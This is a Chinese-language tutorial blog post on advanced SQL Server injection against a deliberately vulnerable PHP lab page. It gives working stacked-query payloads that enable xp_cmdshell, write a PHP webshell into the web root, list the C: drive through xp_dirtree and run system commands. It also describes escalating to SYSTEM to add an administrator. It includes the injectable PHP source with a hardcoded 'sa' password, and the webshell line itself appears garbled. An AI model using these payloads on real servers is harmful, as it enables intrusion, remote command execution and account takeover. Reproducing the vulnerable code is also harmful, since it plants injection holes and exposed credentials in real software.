SQL Server 高级注入

sql  server 数据库可以通过xp_cmdshell组件执行一些系统命令

SQL Server 高级注入_第1张图片
阻止

可以看到sql  server 数据库在默认这状态下阻止了xp_cmdshell的应用

通过以下命令进行开启:

id=1'; EXEC  sp_configure  'show advanced options', 1; RECONFIGURE  WITH  OVERRIDE;  EXEC sp_configure  'xp_cmdshell', 1; RECONFIGURE  WITH  OVERRIDE ;  -- '

开启xp_cmdshell

虽然没有在页面回显,实际上已经开启xp_cmdshell

附加上:

关闭xp_cmdshell

SQL Server 高级注入_第2张图片
关闭xp_cmdshell

写入一句话木马

没有报错

id=1' exec master..xp_cmdshell "echo ^ > C:\\xampp\\htdocs\\cmd.php" -- '

查看文件

SQL Server 高级注入_第3张图片
一句话木马已经写入

进行验证

SQL Server 高级注入_第4张图片
成功执行命令

遍历C盘

为了确保准确语句是否执行成功,复制connect.php源代码到shell.php

因为需要在URL上执行两条或多条系统命令,需要修改源代码

源代码为

header("Content-type:text/html; charset=gbk");

$serverName = "127.0.0.1";

$uid="sa";

$pwd="123456";

$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

$conn = sqlsrv_connect($serverName, $connectionInfo);

if($conn == false){

echo "连接失败!";

var_dump(sqlsrv_errors());

exit;

}else{

//echo "链接成功";

$id=$_GET['id'];

$sqls = "select * from users where  id='".$id."'";

echo $sqls."


";

$sql=explode(';', $sqls);

//var_dump(sqlsrv_errors());

if(empty(sqlsrv_errors())){

$query = sqlsrv_query($conn,$sql[0]);

while($num=sqlsrv_fetch_array($query)){

echo $num['name'];

}

$query = @sqlsrv_query($conn,$sql[1]);

while($num=@sqlsrv_fetch_array($query)){

print_r($num);

}

}else{

$error=sqlsrv_errors();

echo $error[0][2];

}

sqlsrv_close($conn);

}

?>

保存进行访问,创建数据库

id=1'; create table dirs(paths varchar(200),id int) -- '

SQL Server 高级注入_第5张图片
dirs数据表

查看数据库,进行调整

SQL Server 高级注入_第6张图片

插入数据

id=1'; insert dirs exec master.dbo.xp_dirtree 'c:\' -- '

SQL Server 高级注入_第7张图片

将C盘遍历插入到数据表中,查看

SQL Server 高级注入_第8张图片
成功插入

进行读取数据

1'; select top 100 paths from dirs -- '

SQL Server 高级注入_第9张图片
读出C盘文件

自然可以执行dos命令,语句为:

id=1'; exec master..xp_cmdshell 'ipconfig' -- 

SQL Server 高级注入_第10张图片
读取IP地址

添加管理员

查看当前权限

network权限

不懂该权限时什么意思,查找后为

SQL Server 高级注入_第11张图片
此权限

在该network权限下是无法添加管理员的,要想添加管理员

需要把当前用户的权限修改为localSystem权限进行运行

重启后再次执行

系统权限

成功修改为system权限

再次添加管理员

SQL Server 高级注入_第12张图片
成功完成

附图:

你可能感兴趣的:(SQL Server 高级注入)